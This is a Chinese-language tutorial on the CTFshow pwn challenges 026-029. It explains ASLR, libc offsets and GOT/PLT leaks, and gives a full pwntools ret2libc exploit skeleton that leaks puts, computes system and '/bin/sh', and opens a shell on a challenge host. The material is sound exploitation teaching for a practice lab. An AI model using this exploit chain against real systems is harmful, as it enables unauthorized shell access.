我做PWN题最上头的一次,是学会了覆盖返回地址、精心构造好ROP链之后,满心欢喜地发送过去,结果屏幕上不是shell,而是一段段错误。当时我非常困惑——明明控制流已经劫持了,为什么还是起不来?后来才弄明白,问题不在于我的payload,而在于我对程序运行环境的理解太浅:ASLR把libc函数地址随机丢到某个地方,我压根不知道要跳去哪里。这正是CTFshow pwn系列前置基础025之后,紧接着026到029这一组题目想要解决的核心问题:理解ASLR和Libc之间的关系,学会在地址随机化的世界里稳定拿权限。
如果你也在入门PWN,刚看完覆盖返回地址、ROP基本操作,下一步十有八九就卡在这里——本地用gdb调试一切正常,远程一打就废,或者换个环境就全部重来。这篇文章我会把ASLR到底随机了什么、Libc在进程里是怎么布局的、为什么“泄露一个函数地址就能算出全部地址”这三件事讲透,再给出一套可以直接照着改的exp骨架,最后把我自己反复翻车的几个场景也列出来,避免你浪费时间踩一样的坑。
1. 为什么pwn 026-029要先啃ASLR和Libc这两块硬骨头
1.1 从“能控”到“可控”的认知转变
PWN题目的本质,是把程序的某种内存漏洞变成一次可控的跳转。你通过栈溢出改写了返回地址,这只是做到了“能控”第一步——CPU确实会跳向你指定的地址。但真正的问题是,你要让它跳到那里,那个地址本身得是真实存在的、可执行的,还得能完成你的目标。
在早期题目里,程序代码段本身可能就有一个后门函数,函数地址固定不变,你直接ret过去就行,根本不需要管什么随机化。比如ret2text。但真实环境不会这么好心,026-029开始引入的就是更接近真实情况的场景:程序开了NX(栈不可执行),代码段里也没有system这种现成武器,你只能去libc里找。
这时候你就必须面对一个残酷的事实:libc的加载地址每次运行都可能不同。如果你在payload里硬编码一个system地址,第一次可能成功,第二次重启服务就击穿。
所以,前置基础这一段的核心,不是教你更多的花式溢出技巧,而是完成一个认知转变——从“给死地址”升级到“动态泄露、动态计算”。这个转变过不了关,后面的堆利用、格式化字符串利用全都会卡住。
1.2 026-029在整个pwn学习路径里的位置
CTFshow的pwn系列是循序渐进的,前面几道题让你熟悉了栈溢出、checksec、ROP链的基本拼接方法,但从026开始,它开始模拟“没有后门”的常规情况。按这个系列的设计意图,这几道题基本就是让你经历一个完整流程:
用checksec确认保护。发现没有可以直接跳的后门函数。找到程序里能输出的函数(puts、printf、write这一类),让它把libc里某个函数的真实地址打印出来。拿到地址后算出libc基址,再算出system和/bin/sh的真实地址。最后把返回地址覆盖成system,拿到shell。
这个流程看似不复杂,但每一步都有坑。我曾经把泄露地址后的接收多收了一字节,导致整个偏移计算错位,排查了四个小时。这种细节,只能靠亲手做题踩一遍才能记住。所以这四道题不是凑数的题,它把整个后半程最常见的套路按正常顺序喂到你嘴边,你只要耐心走完,后面遇到类似题就会条件反射。
2. ASLR机制拆解:每次运行都是另一套地址
2.1 操作系统到底在随机化什么
ASLR全称是Address Space Layout Randomization,地址空间布局随机化,是操作系统为了增加攻击难度设计的安全机制。在Linux里,你每运行一次程序,内核会对进程地址空间里的多个区域重新分配起始地址。
被随机化的区域主要有这么几块:
- 栈:环境变量、参数、局部变量所在的栈区起始地址会变。
- 堆:程序运行时用malloc申请的内存区域,基址也会变。
- 内存映射区:包括共享库、mmap出来的区域,也就是libc所在的位置。
- vdso/vvar等内核映射区域。
值得注意的是,并不是所有区域都随机化。比如,程序自身代码段是否随机,取决于编译时是否开启PIE(Position Independent Executable,位置无关可执行文件)。如果程序没有开PIE,那么它的.text、.data、.bss段仍然加载在固定的基地址,例如64位ELF常见的是0x400000。如果开了PIE,代码段本身也会随机化,这也是很多题目在裸栈溢出之外还要加一道“先泄露程序地址”的坎。
Linux下ASLR的开关控制在/proc/sys/kernel/randomize_va_space里,它有三个值:
- 0:关闭随机化,所有区域固定地址。
- 1:对栈、共享库、mmap区域进行随机化,但mmap的基地址是固定的。
- 2:完全随机化,默认值,栈、堆、共享库、mmap全部随机。
在CTF里,远程服务端通常就是默认的内核配置,也就是2。这意味着你在本地人肉调试时看到的那些地址,远程几乎不可能一致。
2.2 随机化的粒度:地址不稳定,但低12位很诚实
很多刚入门的人会以为ASLR是“每次运行地址完全无规律”,其实不对。它随机化的粒度有限,通常是按页(page)来随机。Linux默认内存页大小是0x1000字节,也就是4096字节。
理解这一点非常关键,因为这决定了你泄露地址之后怎么判断它合不合理。一个函数在libc里的地址,通常由“libc基址 + 函数自身偏移”组成。而基址本身是页对齐的,也就是说基址的低12位永远是0。因此,任何libc函数地址,它的低12位其实等于“函数在libc文件中的偏移的低12位”,这个值是固定的、不会因ASLR改变。
举个例子,你泄露出来的puts地址如果是0x7f1234567a00,那它的低12位是0xa00。你去查这个libc版本里puts的偏移,偏移低12位必然也是0xa00。如果对不上,那说明你泄露的数据有问题,可能多收漏收了一个字节,或者截断得太早。
这个特性也可以用来快速验证泄露是否成功,而不需要每次都完整算出基址。我第一次知道这个低12位的规律时,瞬间觉得之前那些“玄学”地址变得非常有逻辑。
2.3 gdb给你制造的“假象”
这里必须单独拎出来说,因为它坑了太多人:gdb默认会关闭ASLR。那是为了方便调试,默认开启set disable-randomization on,也就是说你在gdb里每次运行程序,地址基本固定。这就直接造成一个局面:
你在gdb里跑exp,第一次成功,第二次成功,每一次都成功。你高兴地换到远程服务器,啪,全崩。这不是你exp写错了,而是远程开了ASLR,地址变了,你payload里那些硬编码的libc地址自然失效。
我在早期调试时就犯过这个错,甚至一度怀疑是网络问题。后来才养成习惯:本地测试时,一方面用gdb调试,另一方面直接用python脚本跑一遍非gdb下的真实随机化环境。如果exp能在没有gdb的本地环境稳定打通,才说明没有依赖固定地址。
另外,很多题目为了方便调试会直接给你一个docker环境,里面装好和远程一致的libc,你把容器里的libc拷出来,用patchelf给binary指定一下,就能在本地复现远程环境。这个操作后面会细说。
3. Libc和它的“搬家规律”:地址会变,布局不变
3.1 动态链接:程序运行到一半才去“借”代码
Libc就是Linux下的C标准库,具体实现通常是glibc,对应的文件是libc.so.6。几乎所有C程序运行都依赖它,因为printf、puts、read、write、system这些函数都住在里面。
但程序不是把所有函数的代码都编译进自己的ELF文件,而是采用动态链接的方式。ELF文件里只记录了一个符号名(比如puts),等到程序运行、真正要调用puts的时候,动态链接器(ld-linux.so)才去libc里找到puts的真实地址,再填到某个地方供后续调用使用。
这就解释了为什么ASLR会影响pwn:libc的加载地址随机,而你要用的system函数在libc里,所以system的真实地址也随机。你不知道它在哪里,就没法让跳转过去。
要破局,思路并非“猜中系统函数的地址”,而是利用程序自身泄露libc里任意一个函数的真实地址,再通过相对关系算出其他函数的地址。为什么这么做可行,正好就要看动态链接期间建立起来的那张表。
3.2 GOT和PLT:程序手里的“函数地址通讯录”
动态链接不是每次调用都去重新查找,而是用了一套缓存机制。程序里对每个外部函数,都配了一组配套的小工具:PLT(Process Linkage Table,过程链接表)和GOT(Global Offset Table,全局偏移表)。
PLT是一段很小的代码,像跳板一样。GOT则是一张地址表,专门存放外部函数的真实地址。
第一次调用puts时,流程是这样的:程序跳到puts@plt,plt跳转到GOT中puts对应的项,但此时这一项还没有被解析出真实地址,于是跳到动态链接器的解析代码。解析完成后,把puts的真实地址写入GOT。后续再调用puts,PLT直接跳到GOT,此时GOT里已经是真实地址,不再重复解析。
这套机制对pwn来说简直是福利。因为GOT表存在于程序自己的数据段里,它保存的是“运行时解析出来的真实libc地址”。只要我们能让程序输出GOT里某一项的内容,就等于让程序自己泄露了libc的真实地址。
最常用的手法,就是找GOT中puts或printf或write的项,然后用一个格式化字符串漏洞,或者ROP调用puts(puts@got),把那个8字节地址打印出来。这也正是026-029这一组题最常见的核心操作:找泄露点,泄GOT项,算基址。
3.3 基址加偏移:同一个libc里,函数之间永远是固定距离
这一步是整个技术链的定海神针。你要明白,libc被加载到内存时,不是一个个函数散着放的,而是整个共享库作为一个整体映射进一块连续的虚拟内存区域。
那么,在这个连续区域里,puts和system之间的相对距离,就完全取决于libc文件内部函数代码的排列偏移,而这个偏移在编译libc时就固定了。比如某个版本的libc里,puts相对基址偏移是0x809c0,system相对基址偏移是0x4f440,只要用同一个libc文件,这两个偏移永远不变。
所以计算方式就很简单:
base_addr = leaked_puts_addr - puts_offset_in_libc
system_addr = base_addr + system_offset_in_libc
用个生活化的类比:libc就像一个小区,每个函数是小区里的一栋楼。ASLR相当于每次把整个小区随机搬到一个新位置,楼间距永远不变。你只要知道其中一栋楼搬到了哪里,再根据它的门牌号,反推出小区大门的位置,其他任何一栋楼的位置也就能算出来。
这也是为什么pwn脚本里经常能看到libc.symbols['puts']、libc.symbols['system']这类写法,本质上就是在查函数在libc里的偏移。pwntools的ELF对象能直接解析这个。
3.4 版本不同全盘皆输:远程和本地libc不一致的坑
偏移固定是“同一个libc文件内”的固定。不同版本的libc,同一个函数的偏移很可能不一样。Ubuntu 16.04用的libc-2.23、Ubuntu 18.04用的libc-2.27、Ubuntu 20.04用的libc-2.31,这中间puts的偏移差异能到几千甚至几万字节。
你要是拿本地Ubuntu的libc偏移去计算远程Ubuntu的libc基址,算出来的system地址一定是错的,非法地址直接段错误。这个问题在CTF里非常常见,属于新手必踩坑。
正确的处理方式就几种:
- 题目If直接给了libc.so.6文件,那最省事,本地用patchelf给binary指定这个libc和对应的ld,调试环境完全复刻远程。
- 题目不给libc,就先泄露两个libc函数地址,然后去libc database查。这类在线库非常多,比如libc.rip,你输入两个函数地址的低12位或低24位,它会帮你收索匹配的libc版本并给出偏移。
- 如果用的是pwntools,还可以用LibcSearcher这个第三方库,但现在它这个老库的数据库和安装兼容性都不太好,我建议优先用在线库。
在后面的exp骨架里,我会默认你已经在题目环境里准备好了正确的libc文件,这样流程最干净。
4. 026-029核心套路:泄露一个地址,推算全部
4.1 为什么泄露一个就够了
因为你只需要知道libc基址。而基址可以通过“一个已知函数的真实地址减去它在本libc中的偏移”得到。从你开始做一个有输出的pwn题,记住这个公式即可。
那为什么不直接泄露system?因为在GOT表里,system通常没有被程序调用过的原始程序,根本不经过动态链接器解析,所以GOT里system那一项其实是空的,里面存的是解析代码跳板地址,并不是libc里的真实地址。你要选一个程序确实调用过的函数,比如puts、printf、read、write,因为这些函数已经被动态链接器解析过了,GOT里保存的是真实libc地址。拿puts做例子,因为几乎每个程序都会调用puts或printf输出字符串。
4.2 泄露手段选型:puts、write、printf各有脾气
你可以把GOT里某个函数的地址作为参数,再调用另一个输出型函数来打印它。最常用的是三种,但它们各有脾气,我列个对比表:
| 函数 | 优点 | 坑点 |
|---|---|---|
| puts | 调用方便,参数只需一个指针,常见PLT | 输出遇\x00截断,且结尾自动加\n |
| write | 输出长度可控,不遇\x00中断 | 需要三个参数,找rdx gadget更麻烦 |
| printf | 结合格式化字符串可输出指定字节 | 字符串里不能有特殊格式符号,可能崩溃 |
在大半RET2LIBC题目里,puts是第一选择,因为只需要控制rdi一个参数,而pop rdi; ret这个gadget几乎到处都有。write虽然不会截断,但64位调用write需要rdi(fd=1)、rsi(缓冲区地址)、rdx(长度)三个参数都可控,找全家桶gadget会麻烦很多。所以我的习惯是:“能puts就puts,puts不行再考虑write。”
但puts也有一个令人头疼的地方,就是它一遇到\x00就停下来了。而libc地址通常在0x7fxxxxxxxxxx这个范围,转成8字节后高两字节是00(低地址),如果是6字节有效的libc地址,则实际打印时只输出到第一个\x00,后面自动补一个换行符。
4.3 一个可以直接改的Exp骨架
下面我给出一份通用的exp骨架,适用的是这样的场景:64位程序,栈溢出偏移已知,开启NX但没开PIE,程序里能调puts,调用方式是你覆盖返回地址来调用。这个骨架覆盖了泄露、计算、二次攻击整条链路。
from pwn import * context.arch = 'amd64' context.log_level = 'debug' # 本地调试直接process # p = process('./pwn') # 远程题目连接 p = remote('node.challenge.ctfshow.com', 10000) elf = ELF('./pwn') # 如果题目给了libc,直接指定 libc = ELF('./libc.so.6') # 栈溢出到返回地址的偏移,用pattern测出来 offset = 0x58 # 找gadget:pop rdi; ret pop_rdi = 0x4013e3 # 程序回main方便做二次交互 main_addr = elf.symbols['main'] # 泄露puts的真实地址 payload1 = b'A' * offset payload1 += p64(pop_rdi) payload1 += p64(elf.got['puts']) # 把puts的GOT项地址作为参数 payload1 += p64(elf.plt['puts']) # 调用puts,让它打印自己GOT里的真实地址 payload1 += p64(main_addr) # 回到main,继续下一次输入 p.sendline(payload1) # 等回显,注意收掉前面的提示字符串 p.recvuntil(b'input:\n') # 读取一行,去换行,补成8字节 leak = p.recvline().strip().ljust(8, b'\x00') puts_addr = u64(leak) log.success(f'puts: {hex(puts_addr)}') # 根据puts偏移计算libc基址 libc_base = puts_addr - libc.symbols['puts'] log.success(f'libc base: {hex(libc_base)}') # 计算system和/bin/sh的真实地址 system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00')) log.success(f'system: {hex(system_addr)}') # 第二次payload直接调用system("/bin/sh") payload2 = b'A' * offset payload2 += p64(pop_rdi) payload2 += p64(binsh_addr) # 栈对齐专用ret gadget payload2 += p64(pop_rdi + 1) # 这里直接近一行ret就够了 payload2 += p64(system_addr) p.sendline(payload2) p.interactive()这个脚本里我特意加了一个ret gadget的步骤。很多人第一次打64位system都会莫名段错误,就是因为system函数内部用到了movaps指令,要求栈指针按16字节对齐。覆盖返回地址的时候,如果栈顶不对齐,system一调用直接崩。办法是payload里在调用system之前,多加一个ret指令(单字节ret或pop开头都行),把栈顶往下挪8字节,让对齐恢复。这是我打了十余道题后总结出来的必加项,不能省。
4.4 地址算出来不代表完事:别忘了前面还有一道“接收”关卡
整个流程里,最容易被忽略的是接收端。你用puts去打印一个8字节的libc地址,实际上收到的packet可能只有6字节有效内容,因为高两字节是\x00,puts遇到\x00停住了。所以recvline之后必须自己补零:ljust(8, b'\x00')。这一步不补,u64解出来的数直接错,后面的基址全错,而且错得很隐蔽,因为你可能看不出来。
另外,如果你调用的是puts,它会在打印完后自动带一个换行。有些程序的输出前后还有别的提示字符,比如“Input:”“Hello:”之类的,你需要先recvuntil把这些前缀都吃掉,再单独收一行为地址行。这部分建议直接开debug日志,把原始字节打印出来看,明显多了少了什么,一眼看清。
5. 反复翻车后的复盘:这些细节决定你能不能拿分
5.1 泄露数据的校验方法
拿到一个泄露地址,别急着往后算。先看三件事,能省下至少一小时的排查时间。
前导字节大概率是0x7f,因为libc地址在64位Linux上一般落在0x7f0000000000以上。如果收到的是0x55开头,那泄露的很可能是程序自身地址(PIE相关),不是libc。低12位必须等于你本地libc中puts偏移的低12位。高位基本是0x7f。
如果低12位对不上,最大的可能是接收数据没对齐,多收或漏收字节,或者puts被\x00截断后少字符没有被补零。看到地址结尾是0x0a这样的值,也说明把换行符一起算进来了,要strip掉。
我在调试时会把泄露的原始字节用print(repr(leak))打出来看,而不是只看hex转出来的数字。因为repr能告诉你到底有没有多出换行、有没有\x00之外的其他残留。这一步排坑效率极高。
5.2 远程环境没给libc文件怎么办
CTF平台上很多老题没有附libc,远程环境什么版本全靠猜。我的建议流程是这样的:
利用题目先泄露两个函数的地址,比如puts和printf。拿这两个地址的低12位,去libc database搜匹配的版本。找到后下载对应libc.so.6,用patchelf把你的本地binary换到这个libc上,同时指定对应的动态链接器ld-2.x.so。然后本地重新跑exp,确认稳定通,再打远程。
一个常用的命令示例:
patchelf --set-interpreter ./ld-2.27.so ./pwn patchelf --replace-needed libc.so.6 ./libc.so.6 ./pwn这样可以保证你本地的libc偏移和远程几乎一致。有些人图省事,直接拿LibcSearcher搜完就硬算,完全不本地验证,遇到不确定的环境经常出问题,我强烈建议还是本地跑通一遍再上远程。
5.3 一个容易忽视的交互细节:二次输入的缓存残留
泄露完回到main之后,程序里可能还有之前输入缓冲区里残留的内容,或者输出缓冲区里残留的提示文字。如果你直接sendline(payload2),说不定这些残留和你的payload前后顺序错乱,接收时引发各种诡异现象。
我一般会在发送payload2之前,用p.recvuntil(b'input:\n')把提示字符串收干净,确保程序确实在等待第二次输入,然后再发送。如果程序没有回显提示,就sleep(0.1)清理一下也可以,但最好还是靠recvuntil确认。
另外,如果在远程环境里泄露阶段超时了,多半是程序在等输入而你还在收缓冲。这时候检查一下是payload的布局出了问题,还是栈被破坏导致程序提前崩了。用gdb.attach本地一步步跟,比盲猜快得多。
5.4 我的本地调试习惯
最后分享一个我自己跑026系列题时固定的流程。拿到题先checksec看开什么保护,然后看main里用了哪些库函数,或者找输出点。接着用cyclic测出栈溢出偏移。先不解除ASLR,直接本地跑exp脚本,看泄露地址能不能重现。如果不行,就在exp里加一行gdb.attach(p),用gdb调试payload布局,重点是看执行到puts之前,rdi寄存器是不是你要的GOT地址。这里有一半的情况是参数控制的GOT地址写错了,比如把got错写成了plt地址,导致打印的不是真实地址。
gdb.attach的用法很简单,在process之后加一行gdb.attach(p),脚本会停在程序启动处,你可以在gdb里continue,然后用ni、si逐步跟踪。
一旦本地无gdb环境下能稳定打通,再把地址和目标IP换成远程环境的,成功概率就高很多。这套习惯我用了很久,基本成为我打pwn题的标准动作。
最后再说点实在的
搞懂026到029这几道题,其实收获的不是某一种exp模板,而是一种思考方式:地址会变,但相对关系不变。ASLR只是把整个libc“小区”整体挪走,而小区里的楼间距永远不变。你在pwn里面要做的,永远不是跟随机化硬刚,而是找一个出口让程序帮你泄露哪怕一个真实地址,然后用数学规律把它放大成整个攻击链。这个思路,在后面处理堆利用、格式化字符串、甚至包括PIE本身的地址泄露时,全部通用。
如果你现在还被“泄露地址后算出来但打不通”折磨,我的建议是先别碰远程,把exp里的每一步都花点时间吃透,把泄露、接收、偏移计算这几个环节分别验证,再组装完整攻击。不要急于求成,因为pwn这条路上,越是基础的东西,往后复用率越高。把026到029练扎实,等你遇到更复杂的题目时,会发现这些“前置基础”其实一直在你脚本里默默撑着。